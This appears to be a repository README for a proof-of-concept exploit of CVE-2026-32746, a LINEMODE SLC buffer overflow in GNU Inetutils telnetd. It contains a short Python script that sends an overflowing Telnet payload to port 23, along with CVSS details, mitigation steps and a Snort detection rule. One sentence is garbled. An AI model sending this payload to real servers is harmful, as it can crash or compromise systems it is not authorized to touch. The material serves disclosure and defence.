kaleth4/cve-2026-32746Proof-of-concept exploit for CVE-2026-32746, a critical remote code execution vulnerability in GNU Inetutils telnetd via LINEMODE SLC buffer overflow. Includes technical analysis, CVSS metrics, and mitigation guidance.
Critical Vulnerability | CVSS 9.8 | Remote Code Execution!
Affects: GNU Inetutils Telnetd (versions prior to 2.7)
Type: OOB Write in the LINEMODE SLC suboption handler
Attack Vector: Network (Port 23) | No authentication required
Impact: RCE with Telnetd process privileges
An out-of-bounds write (OOB Write) buffer overflow has been identified in the add_slc function of the daemon. This flaw allows a remote attacker to by manipulating the suboptions of the Telnet protocol.
telnetdadd_slc (local character processing).An attacker can exploit this vulnerability by sending a malicious Telnet payload that overflows the internal buffer:
#!/usr/bin/env python3
import socket
import sys
# CVE-2026-32746 - LINEMODE SLC Overflow
# IAC SB LINEMODE SLC <list> IAC SE
IAC = b'\xff'
SB = b'\xfa'
SE = b'\xf0'
LINEMODE = b'\x22'
SLC = b'\x03'
target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
# Payload generated to overflow add_slc
malicious_slc = b"\x01\x03\x41" * 600 # 600 repetitions
payload = IAC + SB + LINEMODE + SLC + malicious_slc + IAC + SE
print(f"[*] Sending malicious payload to {target}...")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((target, 23))
s.sendall(payload)
print("[+] Payload delivered. Checking for service crash/RCE...")
⚠️ WARNING! This code is for educational and research purposes only. Its use on systems without authorization is illegal.
| Metric | Value | Description |
|---|---|---|
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | Remote, no authentication |
| Score | 9.8 (CRITICAL) 🔴 | High impact on confidentiality, integrity, and availability |
| Published | March 13, 2026 | Last modified: May 5, 2026 |
✅ Update GNU Inetutils to the patched version (post-2.7).
🔹 Disable telnetd and migrate to SSH (recommended).
🔹 Block port 23 on perimeter firewalls.
🔹 Configure IDS/IPS to detect anomalous LINEMODE SLC sequences.
alert tcp any any -> any 23 (msg:"CVE-2026-32746 - LINEMODE SLC Overflow"; content:"|FF FA 22 03|"; depth:5; threshold:type both, track by_src, count 1, seconds 1; sid:1000001; rev:1;)